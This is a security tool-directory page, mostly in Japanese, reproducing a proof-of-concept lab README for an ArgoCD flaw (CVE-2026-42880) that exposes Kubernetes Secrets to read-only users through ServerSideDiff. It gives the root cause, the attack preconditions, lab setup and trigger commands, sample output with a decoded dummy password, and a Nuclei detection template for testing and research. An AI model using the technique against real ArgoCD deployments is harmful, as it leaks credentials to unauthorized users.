Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
POC_CVE-2026-42880 — ServerSideDiffを介してKubernetes Secretsを公開する重大なArgoCD脆弱性であるCVE-2026-42880を再現します。自動化されたラボセットアップ、トリガースクリプト、セキュリティテスト用のNuclei検出テンプレートが含まれます。 | Kitploit
ツール/GitHubGitHub/haerin-l/poc_cve-2026-42880
脆弱性分析エクスプロイトペネトレーションテストクラウドセキュリティ設定ミス学習と教育ラボと実践
GitHubhaerin-l/poc_cve-2026-42880

POC_CVE-2026-42880

ServerSideDiffを介してKubernetes Secretsを公開する重大なArgoCD脆弱性であるCVE-2026-42880を再現します。自動化されたラボセットアップ、トリガースクリプト、セキュリティテスト用のNuclei検出テンプレートが含まれます。

リポジトリを見る
64ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42880 — ServerSideDiffによるArgoCDのSecret露出

CVE-2026-42880 を再現・検出するためのラボ環境です。これは Argo CD の重大な脆弱性で、ServerSideDiff gRPC ハンドラが Kubernetes の Secret データを読み取り専用ユーザーに露出させてしまうものです。


脆弱性の概要

項目詳細
CVE IDCVE-2026-42880
GHSAGHSA-3v3m-wc6v-x4x3
CVSS9.6(重大)— AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
影響を受けるバージョンArgoCD 3.2.0–3.2.10、3.3.0–3.3.8
パッチ適用済みバージョン3.2.11、3.3.9+
CWECWE-200、CWE-212

根本原因

ArgoCD の gRPC ハンドラ内の serverSideDiff() は、Kubernetes の SSA ドライラン(dry-run)を呼び出し、hideSecretData() を呼び出さずに predictedLive を返すため、base64 エンコードされた Secret の値がレスポンスに露出します。

Vulnerable path (v3.2.0):
argocd app diff --server-side-diff
  → gRPC ServerSideDiff handler
    → Kubernetes SSA dry-run (merges ALL field managers)
      ← predictedLive returned (includes external-controller's data)
        ❌ hideSecretData() NOT called → real Secret values exposed

Patched path (v3.2.11):
  ...same SSA dry-run...
    ✅ HideSecretData() called → values replaced with ++++

攻撃の前提条件

以下の3つの条件がすべて同時に満たされる必要があります:

#条件詳細
1脆弱な ArgoCD バージョン3.2.0–3.2.10 または 3.3.0–3.3.8
2アプリケーションのアノテーションargocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
3Secret データ上の外部フィールドマネージャーSecret の data フィールドが ArgoCD 以外のマネージャー(例:External Secrets Operator、Helm、kubectl)によって所有されている

必要なのは role:readonly のみです。書き込み権限は不要です。


ラボの構成

Host Machine
├── localhost:30080 ──→ Kind Cluster: cve-vuln   (ArgoCD v3.2.0  ⚠ VULNERABLE)
│                         └── ns: production
│                              ├── Secret: db-credentials
│                              │    metadata → argocd-controller (synced from Git)
│                              │    data.*  → external-controller ⚠ (injected separately)
│                              └── Secret: api-credentials (same setup)
│
├── localhost:30081 ──→ Kind Cluster: cve-patched (ArgoCD v3.2.11 ✓ PATCHED)
│                         └── (identical config — only ArgoCD version differs)
│
└── localhost:3010  ──→ Docker Container: cve-lab-gitea
                          └── repo: gitadmin/manifests.git
                               └── secret.yaml (no data field — CVE prerequisite)

フィールドマネージャーの分割が重要な理由

db-credentials Secret (namespace: production)
┌──────────────────────────────────────────────────────────────┐
│  metadata.*  → argocd-controller   (ArgoCD syncs from Git)   │
│  data.*      → external-controller (injected by setup script)│
└──────────────────────────────────────────────────────────────┘

SSA dry-run: Kubernetes merges both managers' fields into predictedLive
  → ArgoCD does NOT own data → data is not masked by ArgoCD
  → v3.2.0 returns predictedLive without hideSecretData() → EXPOSED

前提条件

ツールインストール
kindbrew install kind
kubectlbrew install kubectl
Docker Desktopdocker.com
argocd CLIbrew install argocd
nucleibrew install nuclei
curl、jq、gitmacOS にはプリインストール済み、または brew install jq

必要なリソース: 空き RAM 8GB 以上、空きディスク 15GB 以上、ポート 30080 / 30081 / 3010 が使用可能であること。


実行方法

ステップ 1 — 脆弱な環境をセットアップ(ArgoCD v3.2.0)

bash scripts/01-setup-vuln.sh
# or: make setup-vuln

所要時間は約10分です。完了すると以下のように表示されます:

══════════════════════════════════════════════════════
 Vulnerable ArgoCD lab ready!
══════════════════════════════════════════════════════
 ArgoCD UI   : http://localhost:30080
 Admin pass  : <auto-generated>
 Viewer pass : viewerpass123
 Token file  : .vuln-viewer-token
══════════════════════════════════════════════════════

ステップ 2 — 比較用にパッチ適用済み環境をセットアップ(任意)

bash scripts/02-setup-patched.sh
# or: make setup-patched

ステップ 3 — CVE をトリガーする

bash scripts/03-trigger-cve.sh
# or: make trigger

期待される出力 — 脆弱な環境(v3.2.0):

===== /Secret production/db-credentials ======
<   db_password: ++++++++                          ← masked live state
---
>   db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=  ← EXPOSED predictedLive!

[EXPOSED] decoded: Sup3rS3cr3tDB!Pass#2026
⚠  RESULT: SECRET DATA EXPOSED — VULNERABLE

期待される出力 — パッチ適用済み環境(v3.2.11):

>   db_password: ++++++++   ← masked
✓  RESULT: no unmasked data in predictedLive — PATCHED

ステップ 4 — Nuclei による検出

# Vulnerable cluster → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30080 \
  -var username=viewer \
  -var password=viewerpass123

# Patched cluster → should produce no findings
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30081 \
  -var username=viewer \
  -var password=viewerpass123

ステップ 5 — 環境の破棄

bash scripts/99-teardown.sh
# or: make teardown

ディレクトリ構成

argocd-cve-2026-42880-lab2/
├── README.md
├── LAB_SETUP_GUIDE.md              # Lab setup guide + troubleshooting (English)
├── VULNERABILITY_ANALYSIS.md       # Code-level vulnerability analysis (English)
├── Nuclei_Template_Report.md       # Nuclei template design and test results (English)
├── Makefile
│
├── REPORT/                         # Korean reports
│   ├── LAB_REPORT_KR.md
│   ├── Nuclei_Template_Report_KR.md
│   └── Vulnerability_Analysis_KR.md
│
├── kind/
│   ├── cluster-vuln.yaml           # Kind cluster: cve-vuln    (port 30080)
│   └── cluster-patched.yaml        # Kind cluster: cve-patched (port 30081)
│
├── git-manifests/
│   └── secret.yaml                 # Secret without data field (CVE prerequisite)
│
├── manifests/
│   ├── application.yaml            # ArgoCD Application with vulnerable annotation
│   ├── argocd-cm-patch.yaml        # ConfigMap: TLS off, viewer account, ServerSideDiff
│   ├── argocd-rbac-patch.yaml      # RBAC: viewer → role:readonly
│   ├── argocd-nodeport.yaml        # NodePort 30080 (vuln cluster)
│   └── argocd-nodeport-patched.yaml# NodePort 30081 (patched cluster)
│
├── nuclei/
│   └── CVE-2026-42880.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup-vuln.sh            # Full automated setup: vulnerable env
    ├── 02-setup-patched.sh         # Full automated setup: patched env
    ├── 03-trigger-cve.sh           # Trigger CVE + compare both clusters
    └── 99-teardown.sh              # Remove all lab resources

Nuclei テンプレートの検出ロジック

このテンプレートは、実際の Secret 抽出をトリガーせずに CVE の前提条件をすべて検証する 4ステップの HTTP チェーンを使用します:

Step 1  GET /api/version
        → extract argocd_version (no auth required)

Step 2  POST /api/v1/session
        → authenticate as viewer (role:readonly), extract token

Step 3  GET /api/v1/applications
        → find app with ServerSideDiff=true,IncludeMutationWebhook=true

Step 4  GET /api/v1/applications/{app}/managed-resources
        → verify: version in range + Secret present + f:data owned by external manager
        → FINDING reported only if all 5 matchers pass (AND condition)

参考情報

  • NVD — CVE-2026-42880
  • GHSA-3v3m-wc6v-x4x3
  • パッチ PR #27598
  • ArgoCD Server-Side Diff docs
  • Kubernetes Server-Side Apply

警告: このラボ内のすべての認証情報は、セキュリティ研究専用のダミーテストデータです。本番環境では絶対に使用しないでください。

ツールをダウンロード